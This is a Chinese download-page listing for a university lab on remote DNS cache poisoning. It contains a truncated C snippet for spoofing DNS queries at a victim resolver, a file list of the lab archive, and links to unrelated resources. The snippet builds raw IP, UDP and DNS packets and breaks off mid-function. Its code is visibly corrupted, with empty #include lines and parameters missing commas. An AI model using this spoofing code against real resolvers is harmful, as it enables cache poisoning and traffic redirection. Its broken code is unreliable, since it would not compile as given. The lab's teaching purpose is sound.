资源简介
远程DNS缓存攻击,包括攻击代码

代码片段和文件信息
// ----dns_request_demo.c------
// This sample program must be run by root lol!
// query
// The program is to spoofing tons of different queries to the victim.
// Use wireshark to study the packets. However it is not enough for
// the lab please finish the response packet and complete the task.
//
// Compile command:
// gcc -lpcap dns_request_demo.c -o dns_request_demo
//
//
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// The packet length
#define PCKT_LEN 8192
#define FLAG_R 0x8400
#define FLAG_Q 0x0100
// Can create separate header file (.h) for all headers‘ structure
// The IP header‘s structure
struct ipheader
{
unsigned char iph_ihl: 4 iph_ver: 4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
// unsigned char iph_flag;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};
// UDP header‘s structure
struct udpheader
{
unsigned short int udph_srcport;
unsigned short int udph_destport;
unsigned short int udph_len;
unsigned short int udph_chksum;
};
struct dnsheader
{
unsigned short int query_id;
unsigned short int flags;
unsigned short int QDCOUNT;
unsigned short int ANCOUNT;
unsigned short int NSCOUNT;
unsigned short int ARCOUNT;
};
// This structure just for convinience in the DNS packet because such 4 byte data often appears.
struct dataEnd
{
unsigned short int type;
unsigned short int class;
};
// total udp header length: 8 bytes (=64 bits)
// structure to hold the answer end section
struct ansEnd
{
//char* name;
unsigned short int type;
//char* type;
unsigned short int class;
//char* class;
//unsigned int ttl;
unsigned short int ttl_l;
unsigned short int ttl_h;
unsigned short int datalen;
};
// structure to hold the authorative nameserver end section
struct nsEnd
{
//char* name;
unsigned short int type;
unsigned short int class;
//unsigned int ttl;
unsigned short int ttl_l;
unsigned short int ttl_h;
unsigned short int datalen;
//unsigned int ns;
};
unsigned int checksum(uint16_t *usBuff int isize)
{
unsigned int cksum = 0;
for(; isize > 1; isize -= 2)
{
cksum += *usBuff++;
}
if(isize == 1)
{
cksum += *(uint16_t *)usBuff;
}
return (cksum);
}
// calculate udp checksum
uint16_t check_udp_sum(uint8_t *buffer int len)
{
unsigned long sum = 0;
struct ipheader *tempI = (struct ipheader *)(buffer);
struct udpheader *tempH = (struct udpheader *)(buffer + sizeof(struct ipheader));
struct dnsheader *tempD = (struct dnsheader *)(buffer + s
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2016-12-07 17:07 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\Code\
文件 286 2016-12-07 00:56 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\Code\db.attacker
文件 217 2016-12-07 00:54 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\Code\example.com.db
文件 18316 2016-12-07 11:12 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\Code\udp.c
文件 2145650 2016-12-03 14:25 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\DNS_Remote.pdf
文件 21914 2016-05-29 23:29 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\DNS_Remote_中文版.md
目录 0 2016-12-07 17:10 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\
相关资源
- Remote Desktop Organizer v1.4.7 支持win10
- 直观端口查看器,详细显示可疑进程
- ADNS-3080光流传感器测试程序Arduino
- 远程桌面(带C 源码)
- 通用注入工具无驱版(HOOK注入、远程
- 国网《500千伏及以上变电站 远程智能
- 秋天远程控制V1.0源码(易语言)
- 磁盘备份的优势-提供灾难恢复保护的
- 如何通过VMware虚拟桌面及NetApp存储管
- 基于ARM7的分布式远程测控系统设计
- 分享一个远程控制软件源代码
- 远程桌面协议 (RDP)控件库
- 基于LabVIEW平台和网络的计算机远程在
- 易语言cmd服务端源码易语言cmd远程服
- 远程工具,免费
- AIX模拟器(PC)安装成功,不再需要找
- 如何在本地无光驱软驱时通过PXE远程
- 一种远程无线抄表系统的设计方案
- 基于无线传感器网络的远程智能抄表
- 基于无线网络的远程电力抄表系统的
- 基于Zigbee和GPRS的无线温湿度测量系统
- 基于ARM9的远程无线智能视频监控电路
- 上海浦东国际集装箱码头远程数据容
- RFC1034-RFC1035.zip
- 第三套亿级流量电商详情页系统实战
- 井下瓦斯抽采钻机远程控制系统的设
- 自动清除tomcat缓存及日志
- 易语言受控端源码易语言控制端源码
- 易语言C源码易语言S源码易语言远程控
- 易语言控制端源码易语言被控制源码
评论
共有 条评论